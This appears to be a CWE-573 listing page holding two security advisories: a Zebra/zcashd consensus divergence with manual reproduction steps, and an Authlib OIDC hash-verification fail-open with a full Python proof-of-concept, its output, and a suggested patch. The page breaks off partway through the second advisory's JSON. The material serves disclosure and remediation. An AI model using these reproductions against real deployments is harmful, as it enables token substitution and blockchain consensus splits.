Common Weakness Enumeration

CWE-573

Allowed-with-Review

Improper Following of Specification by Caller

Abstraction: Class · Status: Draft

The product does not follow or incorrectly follows the specifications as required by the implementation language, environment, framework, protocol, or platform.

15 vulnerabilities reference this CWE, most recent first.

GHSA-CWFQ-RFCR-8HMP

Vulnerability from github – Published: 2026-05-07 21:02 – Updated: 2026-05-07 21:02

Summary

Zebra's Transparent SIGHASH_SINGLE Handling Diverges from zcashd for Corresponding Outputs

Details

`Zebra` Transparent `SIGHASH_SINGLE` Corresponding-Output Handling Diverges From `zcashd`

Summary

For V5+ transparent spends, Zebra and zcashd disagree on the same consensus rule: SIGHASH_SINGLE must fail when the input index has no corresponding output. zcashd treats this as consensus-invalid under ZIP-244, while Zebra's transparent verification path computes a digest for the missing-output case instead of failing.

The result is a direct block-validity split. A malformed V5 transparent transaction can be accepted by Zebra, retained in Zebra's mempool, selected into Zebra getblocktemplate, mined into a block, and then rejected by zcashd.

Details

Validated code revisions used during analysis:

zcashd: 2c63e9aa08cb170b0feb374161bea94720c3e1f5
Zebra: a905fa19e3a91c7b4ead331e2709e6dec5db12cb

Scope note:

earlier triage material grouped pre-V5 and V5 behavior together;
re-execution on the pinned revisions did not reproduce the claimed pre-V5 / V4 reject-side behavior;
this advisory therefore covers the V5+ / ZIP-244 variant only.

zcashd side:

Transparent scripts in blocks are checked through TransactionSignatureChecker::CheckSig() and SignatureHash(): zcash/src/script/interpreter.cpp.
In the ZIP-244 branch, SignatureHash() explicitly throws when SIGHASH_SINGLE or SIGHASH_SINGLE|ANYONECANPAY is used with nIn >= txTo.vout.size(): zcash/src/script/interpreter.cpp.
CheckSig() catches that exception and returns false, causing the transparent script to fail.

Zebra side:

V5 transparent inputs route into the same FFI-based transparent script verifier used for block validation: zebra/zebra-consensus/src/transaction.rs.
Zebra converts the decoded hash type and asks its Rust sighash engine for a digest without adding the corresponding-output pre-check that zcashd enforces first: zebra/zebra-script/src/lib.rs, zebra/zebra-chain/src/primitives/zcash_primitives.rs.
Zebra forwards canonical SIGHASH_SINGLE into the Rust ZIP-244 implementation.
In that implementation, when input.index() >= bundle.vout.len(), the code uses transparent_outputs_hash::<TxOut>(&[]) instead of erroring: zcash_primitives/src/transaction/sighash_v5.rs, zcash_primitives/src/transaction/sighash_v5.rs.

Why this is exploitable:

the malformed transaction only needs fewer transparent outputs than inputs;
the attacker signs the digest that Zebra computes for the missing-output case;
Zebra then sees a valid transparent signature, while zcashd never reaches the same digest because it fails first.

Ordinary path viability:

zcashd ordinary mempool admission is not the practical trigger path, because the same ZIP-244 SignatureHash() checks fail there first: zcash/src/main.cpp, zcash/src/script/interpreter.cpp.
Zebra ordinary mempool admission is viable because Zebra uses the same transparent verifier for mempool and block validation and does not have a separate "one output per input" standardness rule here: zebra/zebra-consensus/src/transaction.rs, zebra/zebrad/src/components/mempool/storage.rs.
Zebra is a block-template producer, so the realistic stock path is Zebra mempool -> Zebra getblocktemplate -> external miner: zebra/zebra-rpc/src/methods/types/get_block_template/zip317.rs.

PoC

Validated commits:

zcashd: 2c63e9aa08cb170b0feb374161bea94720c3e1f5
Zebra: a905fa19e3a91c7b4ead331e2709e6dec5db12cb

Manual reproduction steps:

Build an otherwise-valid V5 transaction with at least two transparent inputs and only one transparent output.
Sign input 0 normally.
Sign input 1 with canonical SIGHASH_SINGLE or SIGHASH_SINGLE|ANYONECANPAY.
Use the digest returned by Zebra's ZIP-244 path, where the missing output contributes transparent_outputs_hash([]).
Submit the transaction to Zebra and to zcashd.
Observe:
Zebra accepts it into the mempool;
Zebra selects it into getblocktemplate;
Zebra can mine and accept a block containing it;
zcashd rejects it in the ordinary mempool path.

Impact

This is a direct V5+ transparent consensus split.

Who can trigger it:

an ordinary transaction author can craft the malformed V5 transparent transaction;
the accept-side stock path is Zebra's mempool and block-template path;
an external miner still has to include the transaction in a block for the split to materialize.

Who is impacted:

Zebra can accept and template a transaction / block that zcashd rejects;
this makes the issue both a consensus-divergence problem and a practical Zebra block-template safety problem.

Severity

9.2 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "zebrad"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-354",
      "CWE-573"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T21:02:30Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "# `Zebra` Transparent `SIGHASH_SINGLE` Corresponding-Output Handling Diverges From `zcashd`\n\n### Summary\nFor V5+ transparent spends, `Zebra` and `zcashd` disagree on the same consensus rule: `SIGHASH_SINGLE` must fail when the input index has no corresponding output. `zcashd` treats this as consensus-invalid under ZIP-244, while `Zebra`\u0027s transparent verification path computes a digest for the missing-output case instead of failing.\n\nThe result is a direct block-validity split. A malformed V5 transparent transaction can be accepted by `Zebra`, retained in `Zebra`\u0027s mempool, selected into `Zebra` `getblocktemplate`, mined into a block, and then rejected by `zcashd`.\n\n### Details\nValidated code revisions used during analysis:\n\n- `zcashd`: `2c63e9aa08cb170b0feb374161bea94720c3e1f5`\n- `Zebra`: `a905fa19e3a91c7b4ead331e2709e6dec5db12cb`\n\nScope note:\n\n- earlier triage material grouped pre-V5 and V5 behavior together;\n- re-execution on the pinned revisions did not reproduce the claimed pre-V5 / V4 reject-side behavior;\n- this advisory therefore covers the V5+ / ZIP-244 variant only.\n\n`zcashd` side:\n\n- Transparent scripts in blocks are checked through `TransactionSignatureChecker::CheckSig()` and `SignatureHash()`: [`zcash/src/script/interpreter.cpp`](https://github.com/zcash/zcash/blob/2c63e9aa08cb170b0feb374161bea94720c3e1f5/src/script/interpreter.cpp#L1386-L1407).\n- In the ZIP-244 branch, `SignatureHash()` explicitly throws when `SIGHASH_SINGLE` or `SIGHASH_SINGLE|ANYONECANPAY` is used with `nIn \u003e= txTo.vout.size()`: [`zcash/src/script/interpreter.cpp`](https://github.com/zcash/zcash/blob/2c63e9aa08cb170b0feb374161bea94720c3e1f5/src/script/interpreter.cpp#L1221-L1259).\n- `CheckSig()` catches that exception and returns `false`, causing the transparent script to fail.\n\n`Zebra` side:\n\n- V5 transparent inputs route into the same FFI-based transparent script verifier used for block validation: [`zebra/zebra-consensus/src/transaction.rs`](https://github.com/ZcashFoundation/zebra/blob/a905fa19e3a91c7b4ead331e2709e6dec5db12cb/zebra-consensus/src/transaction.rs#L989-L1098).\n- `Zebra` converts the decoded hash type and asks its Rust sighash engine for a digest without adding the corresponding-output pre-check that `zcashd` enforces first: [`zebra/zebra-script/src/lib.rs`](https://github.com/ZcashFoundation/zebra/blob/a905fa19e3a91c7b4ead331e2709e6dec5db12cb/zebra-script/src/lib.rs#L160-L175), [`zebra/zebra-chain/src/primitives/zcash_primitives.rs`](https://github.com/ZcashFoundation/zebra/blob/a905fa19e3a91c7b4ead331e2709e6dec5db12cb/zebra-chain/src/primitives/zcash_primitives.rs#L307-L343).\n- `Zebra` forwards canonical `SIGHASH_SINGLE` into the Rust ZIP-244 implementation.\n- In that implementation, when `input.index() \u003e= bundle.vout.len()`, the code uses `transparent_outputs_hash::\u003cTxOut\u003e(\u0026[])` instead of erroring: [`zcash_primitives/src/transaction/sighash_v5.rs`](https://github.com/zcash/librustzcash/blob/c3425f9c3c7f6deb20720bb78b18f35fbbed8edd/zcash_primitives/src/transaction/sighash_v5.rs#L101-L107), [`zcash_primitives/src/transaction/sighash_v5.rs`](https://github.com/zcash/librustzcash/blob/c3425f9c3c7f6deb20720bb78b18f35fbbed8edd/zcash_primitives/src/transaction/sighash_v5.rs#L131-L139).\n\nWhy this is exploitable:\n\n- the malformed transaction only needs fewer transparent outputs than inputs;\n- the attacker signs the digest that `Zebra` computes for the missing-output case;\n- `Zebra` then sees a valid transparent signature, while `zcashd` never reaches the same digest because it fails first.\n\nOrdinary path viability:\n\n- `zcashd` ordinary mempool admission is not the practical trigger path, because the same ZIP-244 `SignatureHash()` checks fail there first: [`zcash/src/main.cpp`](https://github.com/zcash/zcash/blob/2c63e9aa08cb170b0feb374161bea94720c3e1f5/src/main.cpp#L1981-L1995), [`zcash/src/script/interpreter.cpp`](https://github.com/zcash/zcash/blob/2c63e9aa08cb170b0feb374161bea94720c3e1f5/src/script/interpreter.cpp#L1221-L1259).\n- `Zebra` ordinary mempool admission is viable because `Zebra` uses the same transparent verifier for mempool and block validation and does not have a separate \"one output per input\" standardness rule here: [`zebra/zebra-consensus/src/transaction.rs`](https://github.com/ZcashFoundation/zebra/blob/a905fa19e3a91c7b4ead331e2709e6dec5db12cb/zebra-consensus/src/transaction.rs#L414-L519), [`zebra/zebrad/src/components/mempool/storage.rs`](https://github.com/ZcashFoundation/zebra/blob/a905fa19e3a91c7b4ead331e2709e6dec5db12cb/zebrad/src/components/mempool/storage.rs#L255-L376).\n- `Zebra` is a block-template producer, so the realistic stock path is `Zebra` mempool -\u003e `Zebra` `getblocktemplate` -\u003e external miner: [`zebra/zebra-rpc/src/methods/types/get_block_template/zip317.rs`](https://github.com/ZcashFoundation/zebra/blob/a905fa19e3a91c7b4ead331e2709e6dec5db12cb/zebra-rpc/src/methods/types/get_block_template/zip317.rs#L72-L105).\n\n### PoC\nValidated commits:\n\n- `zcashd`: `2c63e9aa08cb170b0feb374161bea94720c3e1f5`\n- `Zebra`: `a905fa19e3a91c7b4ead331e2709e6dec5db12cb`\n\nManual reproduction steps:\n\n1. Build an otherwise-valid V5 transaction with at least two transparent inputs and only one transparent output.\n2. Sign input `0` normally.\n3. Sign input `1` with canonical `SIGHASH_SINGLE` or `SIGHASH_SINGLE|ANYONECANPAY`.\n4. Use the digest returned by `Zebra`\u0027s ZIP-244 path, where the missing output contributes `transparent_outputs_hash([])`.\n5. Submit the transaction to `Zebra` and to `zcashd`.\n6. Observe:\n   - `Zebra` accepts it into the mempool;\n   - `Zebra` selects it into `getblocktemplate`;\n   - `Zebra` can mine and accept a block containing it;\n   - `zcashd` rejects it in the ordinary mempool path.\n\n### Impact\nThis is a direct V5+ transparent consensus split.\n\nWho can trigger it:\n\n- an ordinary transaction author can craft the malformed V5 transparent transaction;\n- the accept-side stock path is `Zebra`\u0027s mempool and block-template path;\n- an external miner still has to include the transaction in a block for the split to materialize.\n\nWho is impacted:\n\n- `Zebra` can accept and template a transaction / block that `zcashd` rejects;\n- this makes the issue both a consensus-divergence problem and a practical `Zebra` block-template safety problem.",
  "id": "GHSA-cwfq-rfcr-8hmp",
  "modified": "2026-05-07T21:02:30Z",
  "published": "2026-05-07T21:02:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ZcashFoundation/zebra/security/advisories/GHSA-cwfq-rfcr-8hmp"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ZcashFoundation/zebra"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ZcashFoundation/zebra/releases/tag/v4.4.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Zebra\u0027s Transparent SIGHASH_SINGLE Handling Diverges from zcashd for Corresponding Outputs"
}

GHSA-M344-F55W-2M6J

Vulnerability from github – Published: 2026-03-16 16:15 – Updated: 2026-03-16 21:54

Summary

Authlib: Fail-Open Cryptographic Verification in OIDC Hash Binding

Details

1. Executive Summary

A critical library-level vulnerability was identified in the Authlib Python library concerning the validation of OpenID Connect (OIDC) ID Tokens. Specifically, the internal hash verification logic (_verify_hash) responsible for validating the at_hash (Access Token Hash) and c_hash (Authorization Code Hash) claims exhibits a fail-open behavior when encountering an unsupported or unknown cryptographic algorithm.

This flaw allows an attacker to bypass mandatory integrity protections by supplying a forged ID Token with a deliberately unrecognized alg header parameter. The library intercepts the unsupported state and silently returns True (validation passed), inherently violating fundamental cryptographic design principles and direct OIDC specifications.

2. Technical Details & Root Cause

The vulnerability resides within the _verify_hash(signature, s, alg) function in authlib/oidc/core/claims.py:

def _verify_hash(signature, s, alg):
    hash_value = create_half_hash(s, alg)
    if not hash_value:        # ← VULNERABILITY: create_half_hash returns None for unknown algorithms
        return True            # ← BYPASS: The verification silently passes
    return hmac.compare_digest(hash_value, to_bytes(signature))

When an unsupported algorithm string (e.g., "XX999") is processed by the helper function create_half_hash in authlib/oidc/core/util.py, the internal getattr(hashlib, hash_type, None) call fails, and the function correctly returns None.

However, instead of triggering a Fail-Closed cryptographic state (raising an exception or returning False), the _verify_hash function misinterprets the None return value and explicitly returns True.

Because developers rely on the standard .validate() method provided by Authlib's IDToken class—which internally calls this flawed function—there is no mechanism for the implementing developer to prevent this bypass. It is a strict library-level liability.

3. Attack Scenario

This vulnerability exposes applications utilizing Hybrid or Implicit OIDC flows to Token Substitution Attacks.

An attacker initiates an OIDC flow and receives a legitimately signed ID Token, but wishes to substitute the bound Access Token (access_token) or Authorization Code (code) with a malicious or mismatched one.
The attacker re-crafts the JWT header of the ID Token, setting the alg parameter to an arbitrary, unsupported value (e.g., {"alg": "CUSTOM_ALG"}).
The server uses Authlib to validate the incoming token. The JWT signature validation might pass (or be previously cached/bypassed depending on state), progressing to the claims validation phase.
Authlib attempts to validate the at_hash or c_hash claims.
Because "CUSTOM_ALG" is unsupported by hashlib, create_half_hash returns None.
Authlib's _verify_hash receives None and silently returns True.
Result: The application accepts the substituted/malicious Access Token or Authorization Code without any cryptographic verification of the binding hash.

4. Specification & Standards Violations

This explicit fail-open behavior violates multiple foundational RFCs and Core Specifications. A secure cryptographic library MUST fail and reject material when encountering unsupported cryptographic parameters.

OpenID Connect Core 1.0 * § 3.2.2.9 (Access Token Validation): "If the ID Token contains an at_hash Claim, the Client MUST verify that the hash value of the Access Token matches the value of the at_hash Claim." Silencing the validation check natively contradicts this absolute requirement. * § 3.3.2.11 (Authorization Code Validation): Identically mandates the verification of the c_hash Claim.

IETF JSON Web Token (JWT) Best Current Practices (BCP) * RFC 8725 § 3.1.1: "Libraries MUST NOT trust the signature without verifying it according to the algorithm... if validation fails, the token MUST be rejected." Authlib's implementation effectively "trusts" the hash when it cannot verify the algorithm.

IETF JSON Web Signature (JWS) * RFC 7515 § 5.2 (JWS Validation): Cryptographic validations must reject the payload if the specified parameters are unsupported. By returning True for an UnsupportedAlgorithm state, Authlib violates robust application security logic.

5. Remediation Recommendation

The _verify_hash function must be patched to enforce a Fail-Closed posture. If an algorithm is unsupported and cannot produce a hash for comparison, the validation must fail immediately.

Suggested Patch (authlib/oidc/core/claims.py):

def _verify_hash(signature, s, alg):
    hash_value = create_half_hash(s, alg)
    if hash_value is None:
        # FAIL-CLOSED: The algorithm is unsupported, reject the token.
        return False
    return hmac.compare_digest(hash_value, to_bytes(signature))

6. Proof of Concept (PoC)

The following standalone script mathematically demonstrates the vulnerability across the Root Cause, Implicit Flow (at_hash), Hybrid Flow (c_hash), and the entire attack surface. It utilizes Authlib's own validation logic to prove the Fail-Open behavior.```bash

python3 -m venv venv
source venv/bin/activate
pip install authlib cryptography
python3 -c "import authlib; print(authlib.__version__)"
# → 1.6.8

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
@title          OIDC at_hash / c_hash Verification Bypass
@affected       authlib <= 1.6.8
@file           authlib/oidc/core/claims.py :: _verify_hash()
@notice         _verify_hash() retorna True cuando create_half_hash() retorna
                None (alg no soportado), causando Fail-Open en la verificacion
                de binding entre ID Token y Access Token / Authorization Code.
@dev            Reproduce el bypass directamente contra el codigo de authlib
                sin mocks. Todas las llamadas son al modulo real instalado.
"""

import hmac
import hashlib
import base64
import time

import authlib
from authlib.common.encoding   import to_bytes
from authlib.oidc.core.util    import create_half_hash
from authlib.oidc.core.claims  import IDToken, HybridIDToken
from authlib.oidc.core.claims  import _verify_hash as authlib_verify_hash

# ─── helpers ──────────────────────────────────────────────────────────────────

R   = "\033[0m"
RED = "\033[91m"
GRN = "\033[92m"
YLW = "\033[93m"
CYN = "\033[96m"
BLD = "\033[1m"
DIM = "\033[2m"

def header(title):
    print(f"\n{CYN}{'─' * 64}{R}")
    print(f"{BLD}{title}{R}")
    print(f"{CYN}{'─' * 64}{R}")

def ok(msg):   print(f"  {GRN}[OK]      {R}{msg}")
def fail(msg): print(f"  {RED}[BYPASS]  {R}{BLD}{msg}{R}")
def info(msg): print(f"  {DIM}          {msg}{R}")

def at_hash_correct(token: str, alg: str) -> str:
    """
    @notice  Computa at_hash segun OIDC Core 1.0 s3.2.2.9.
    @param   token  Access token ASCII
    @param   alg    Algoritmo del header del ID Token
    @return  str    at_hash en Base64url sin padding
    """
    fn = {"256": hashlib.sha256, "384": hashlib.sha384, "512": hashlib.sha512}
    digest = fn.get(alg[-3:], hashlib.sha256)(token.encode()).digest()
    return base64.urlsafe_b64encode(digest[:len(digest)//2]).rstrip(b"=").decode()


def _verify_hash_patched(signature: str, s: str, alg: str) -> bool:
    """
    @notice  Version corregida de _verify_hash() con semantica Fail-Closed.
    @dev     Fix: `if not hash_value` -> `if hash_value is None`
             None es falsy en Python, pero b"" no lo es. El chequeo original
             no distingue entre "algoritmo no soportado" y "hash vacio".
    """
    hash_value = create_half_hash(s, alg)
    if hash_value is None:
        return False
    return hmac.compare_digest(hash_value, to_bytes(signature))

# ─── test 1: root cause ───────────────────────────────────────────────────────

def test_root_cause():
    """
    @notice  Demuestra que create_half_hash() retorna None para alg desconocido
             y que _verify_hash() interpreta ese None como verificacion exitosa.
    """
    header("TEST 1 - Root Cause: create_half_hash() + _verify_hash()")

    token    = "real_access_token_from_AS"
    fake_sig = "AAAAAAAAAAAAAAAAAAAAAA"
    alg      = "CUSTOM_ALG"

    half_hash = create_half_hash(token, alg)
    info(f"create_half_hash(token, {alg!r})  ->  {half_hash!r}  (None = alg no soportado)")

    result_vuln    = authlib_verify_hash(fake_sig, token, alg)
    result_patched = _verify_hash_patched(fake_sig, token, alg)

    print()
    if result_vuln:
        fail(f"authlib _verify_hash() retorno True con firma falsa y alg={alg!r}")
    else:
        ok(f"authlib _verify_hash() retorno False")

    if not result_patched:
        ok(f"_verify_hash_patched() retorno False (fail-closed correcto)")
    else:
        fail(f"_verify_hash_patched() retorno True")

# ─── test 2: IDToken.validate_at_hash() bypass ────────────────────────────────

def test_at_hash_bypass():
    """
    @notice  Demuestra el bypass end-to-end en IDToken.validate_at_hash().
             El atacante modifica el header alg del JWT a un valor no soportado.
             validate_at_hash() no levanta excepcion -> token aceptado.

    @dev     Flujo real de authlib:
               validate_at_hash() -> _verify_hash(at_hash, access_token, alg)
               -> create_half_hash(access_token, "CUSTOM_ALG") -> None
               -> `if not None` -> True -> no InvalidClaimError -> BYPASS
    """
    header("TEST 2 - IDToken.validate_at_hash() Bypass (Implicit / Hybrid Flow)")

    real_token  = "ya29.LEGITIMATE_token_from_real_AS"
    evil_token  = "ya29.MALICIOUS_token_under_attacker_control"
    fake_at_hash = "FAAAAAAAAAAAAAAAAAAAA"

    # --- caso A: token legitimo con alg correcto ---
    correct_hash = at_hash_correct(real_token, "RS256")
    token_legit  = IDToken(
        {"iss": "https://idp.example.com", "sub": "user", "aud": "client",
         "exp": int(time.time()) + 3600, "iat": int(time.time()),
         "at_hash": correct_hash},
        {"access_token": real_token}
    )
    token_legit.header = {"alg": "RS256"}

    try:
        token_legit.validate_at_hash()
        ok(f"Caso A (legitimo, RS256):  at_hash={correct_hash}  ->  aceptado")
    except Exception as e:
        fail(f"Caso A rechazo el token legitimo: {e}")

    # --- caso B: token malicioso con alg forjado ---
    token_forged = IDToken(
        {"iss": "https://idp.example.com", "sub": "user", "aud": "client",
         "exp": int(time.time()) + 3600, "iat": int(time.time()),
         "at_hash": fake_at_hash},
        {"access_token": evil_token}
    )
    token_forged.header = {"alg": "CUSTOM_ALG"}

    try:
        token_forged.validate_at_hash()
        fail(f"Caso B (atacante, alg=CUSTOM_ALG):  at_hash={fake_at_hash}  ->  BYPASS exitoso")
        info(f"access_token del atacante aceptado: {evil_token}")
    except Exception as e:
        ok(f"Caso B rechazado correctamente: {e}")

# ─── test 3: HybridIDToken.validate_c_hash() bypass ──────────────────────────

def test_c_hash_bypass():
    """
    @notice  Mismo bypass pero para c_hash en Hybrid Flow.
             Permite Authorization Code Substitution Attack.
    @dev     OIDC Core 1.0 s3.3.2.11 exige verificacion obligatoria de c_hash.
             Authlib la omite cuando el alg es desconocido.
    """
    header("TEST 3 - HybridIDToken.validate_c_hash() Bypass (Hybrid Flow)")

    real_code  = "SplxlOBeZQQYbYS6WxSbIA"
    evil_code  = "ATTACKER_FORGED_AUTH_CODE"
    fake_chash = "ZZZZZZZZZZZZZZZZZZZZZZ"

    token = HybridIDToken(
        {"iss": "https://idp.example.com", "sub": "user", "aud": "client",
         "exp": int(time.time()) + 3600, "iat": int(time.time()),
         "nonce": "n123", "at_hash": "AAAA", "c_hash": fake_chash},
        {"code": evil_code, "access_token": "sometoken"}
    )
    token.header = {"alg": "XX9999"}

    try:
        token.validate_c_hash()
        fail(f"c_hash={fake_chash!r} aceptado con alg=XX9999 -> Authorization Code Substitution posible")
        info(f"code del atacante aceptado: {evil_code}")
    except Exception as e:
        ok(f"Rechazado correctamente: {e}")

# ─── test 4: superficie de ataque ─────────────────────────────────────────────

def test_attack_surface():
    """
    @notice  Mapea todos los valores de alg que disparan el bypass.
    @dev     create_half_hash hace: getattr(hashlib, f"sha{alg[2:]}", None)
             Cualquier string que no resuelva a un atributo de hashlib -> None -> bypass.
    """
    header("TEST 4 - Superficie de Ataque")

    token    = "test_token"
    fake_sig = "AAAAAAAAAAAAAAAAAAAAAA"

    vectors = [
        "CUSTOM_ALG", "XX9999", "none", "None", "", "RS", "SHA256",
        "HS0", "EdDSA256", "PS999", "RS 256", "../../../etc", "' OR '1'='1",
    ]

    print(f"  {'alg':<22}  {'half_hash':<10}  resultado")
    print(f"  {'-'*22}  {'-'*10}  {'-'*20}")

    for alg in vectors:
        hv     = create_half_hash(token, alg)
        result = authlib_verify_hash(fake_sig, token, alg)
        hv_str = "None" if hv is None else "bytes"
        res_str = f"{RED}BYPASS{R}" if result else f"{GRN}OK{R}"
        print(f"  {alg!r:<22}  {hv_str:<10}  {res_str}")

# ─── main ─────────────────────────────────────────────────────────────────────

if __name__ == "__main__":
    print(f"\n{BLD}authlib {authlib.__version__} - OIDC Hash Verification Bypass PoC{R}")
    print(f"authlib/oidc/core/claims.py :: _verify_hash() \n")

    test_root_cause()
    test_at_hash_bypass()
    test_c_hash_bypass()
    test_attack_surface()

    print(f"\n{DIM}Fix: `if not hash_value` -> `if hash_value is None` en _verify_hash(){R}\n")

Output

uthlib 1.6.8 - OIDC Hash Verification Bypass PoC
authlib/oidc/core/claims.py :: _verify_hash() 


────────────────────────────────────────────────────────────────
TEST 1 - Root Cause: create_half_hash() + _verify_hash()
────────────────────────────────────────────────────────────────
            create_half_hash(token, 'CUSTOM_ALG')  ->  None  (None = alg no soportado)

  [BYPASS]  authlib _verify_hash() retorno True con firma falsa y alg='CUSTOM_ALG'
  [OK]      _verify_hash_patched() retorno False (fail-closed correcto)

────────────────────────────────────────────────────────────────
TEST 2 - IDToken.validate_at_hash() Bypass (Implicit / Hybrid Flow)
────────────────────────────────────────────────────────────────
  [OK]      Caso A (legitimo, RS256):  at_hash=gh_beqqliVkRPAXdOz2Gbw  ->  aceptado
  [BYPASS]  Caso B (atacante, alg=CUSTOM_ALG):  at_hash=FAAAAAAAAAAAAAAAAAAAA  ->  BYPASS exitoso
            access_token del atacante aceptado: ya29.MALICIOUS_token_under_attacker_control

────────────────────────────────────────────────────────────────
TEST 3 - HybridIDToken.validate_c_hash() Bypass (Hybrid Flow)
────────────────────────────────────────────────────────────────
  [BYPASS]  c_hash='ZZZZZZZZZZZZZZZZZZZZZZ' aceptado con alg=XX9999 -> Authorization Code Substitution posible
            code del atacante aceptado: ATTACKER_FORGED_AUTH_CODE

────────────────────────────────────────────────────────────────
TEST 4 - Superficie de Ataque
────────────────────────────────────────────────────────────────
  alg                     half_hash   resultado
  ----------------------  ----------  --------------------
  'CUSTOM_ALG'            None        BYPASS
  'XX9999'                None        BYPASS
  'none'                  None        BYPASS
  'None'                  None        BYPASS
  ''                      None        BYPASS
  'RS'                    None        BYPASS
  'SHA256'                None        BYPASS
  'HS0'                   None        BYPASS
  'EdDSA256'              None        BYPASS
  'PS999'                 None        BYPASS
  'RS 256'                None        BYPASS
  '../../../etc'          None        BYPASS
  "' OR '1'='1"           None        BYPASS

Fix: `if not hash_value` -> `if hash_value is None` en _verify_hash()

Severity

8.2 (High)


                  
                    CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.6.8"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "authlib"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28498"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-354",
      "CWE-573"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-16T16:15:06Z",
    "nvd_published_at": "2026-03-16T18:16:07Z",
    "severity": "HIGH"
  },
  "details": "## 1. Executive Summary\n\nA critical library-level vulnerability was identified in the **Authlib** Python library concerning the validation of OpenID Connect (OIDC) ID Tokens. Specifically, the internal hash verification logic (`_verify_hash`) responsible for validating the `at_hash` (Access Token Hash) and `c_hash` (Authorization Code Hash) claims exhibits a **fail-open** behavior when encountering an unsupported or unknown cryptographic algorithm. \n\nThis flaw allows an attacker to bypass mandatory integrity protections by supplying a forged ID Token with a deliberately unrecognized `alg` header parameter. The library intercepts the unsupported state and silently returns `True` (validation passed), inherently violating fundamental cryptographic design principles and direct OIDC specifications.\n\n---\n\n## 2. Technical Details \u0026 Root Cause\n\nThe vulnerability resides within the `_verify_hash(signature, s, alg)` function in `authlib/oidc/core/claims.py`:\n\n```python\ndef _verify_hash(signature, s, alg):\n    hash_value = create_half_hash(s, alg)\n    if not hash_value:        # \u2190 VULNERABILITY: create_half_hash returns None for unknown algorithms\n        return True            # \u2190 BYPASS: The verification silently passes\n    return hmac.compare_digest(hash_value, to_bytes(signature))\n```\n\nWhen an unsupported algorithm string (e.g., `\"XX999\"`) is processed by the helper function `create_half_hash` in `authlib/oidc/core/util.py`, the internal `getattr(hashlib, hash_type, None)` call fails, and the function correctly returns `None`. \n\nHowever, instead of triggering a `Fail-Closed` cryptographic state (raising an exception or returning `False`), the `_verify_hash` function misinterprets the `None` return value and explicitly returns `True`. \n\nBecause developers rely on the standard `.validate()` method provided by Authlib\u0027s `IDToken` class\u2014which internally calls this flawed function\u2014there is **no mechanism for the implementing developer to prevent this bypass**. It is a strict library-level liability.\n\n---\n\n## 3. Attack Scenario\n\nThis vulnerability exposes applications utilizing Hybrid or Implicit OIDC flows to **Token Substitution Attacks**.\n\n1. An attacker initiates an OIDC flow and receives a legitimately signed ID Token, but wishes to substitute the bound Access Token (`access_token`) or Authorization Code (`code`) with a malicious or mismatched one.\n2. The attacker re-crafts the JWT header of the ID Token, setting the `alg` parameter to an arbitrary, unsupported value (e.g., `{\"alg\": \"CUSTOM_ALG\"}`).\n3. The server uses Authlib to validate the incoming token. The JWT signature validation might pass (or be previously cached/bypassed depending on state), progressing to the claims validation phase.\n4. Authlib attempts to validate the `at_hash` or `c_hash` claims. \n5. Because `\"CUSTOM_ALG\"` is unsupported by `hashlib`, `create_half_hash` returns `None`.\n6. Authlib\u0027s `_verify_hash` receives `None` and silently returns `True`.\n7. **Result:** The application accepts the substituted/malicious Access Token or Authorization Code without any cryptographic verification of the binding hash.\n\n---\n\n## 4. Specification \u0026 Standards Violations\n\nThis explicit fail-open behavior violates multiple foundational RFCs and Core Specifications. A secure cryptographic library **MUST** fail and reject material when encountering unsupported cryptographic parameters.\n\n**OpenID Connect Core 1.0**\n* **\u00a7 3.2.2.9 (Access Token Validation):** \"If the ID Token contains an `at_hash` Claim, the Client MUST verify that the hash value of the Access Token matches the value of the `at_hash` Claim.\" Silencing the validation check natively contradicts this absolute requirement.\n* **\u00a7 3.3.2.11 (Authorization Code Validation):** Identically mandates the verification of the `c_hash` Claim.\n\n**IETF JSON Web Token (JWT) Best Current Practices (BCP)**\n* **RFC 8725 \u00a7 3.1.1:** \"Libraries MUST NOT trust the signature without verifying it according to the algorithm... if validation fails, the token MUST be rejected.\" Authlib\u0027s implementation effectively \"trusts\" the hash when it cannot verify the algorithm.\n\n**IETF JSON Web Signature (JWS)**\n* **RFC 7515 \u00a7 5.2 (JWS Validation):** Cryptographic validations must reject the payload if the specified parameters are unsupported. By returning `True` for an `UnsupportedAlgorithm` state, Authlib violates robust application security logic.\n\n---\n\n## 5. Remediation Recommendation\n\nThe `_verify_hash` function must be patched to enforce a `Fail-Closed` posture. If an algorithm is unsupported and cannot produce a hash for comparison, the validation **must** fail immediately.\n\n**Suggested Patch (`authlib/oidc/core/claims.py`):**\n\n```python\ndef _verify_hash(signature, s, alg):\n    hash_value = create_half_hash(s, alg)\n    if hash_value is None:\n        # FAIL-CLOSED: The algorithm is unsupported, reject the token.\n        return False\n    return hmac.compare_digest(hash_value, to_bytes(signature))\n```\n\n---\n\n## 6. Proof of Concept (PoC)\n\nThe following standalone script mathematically 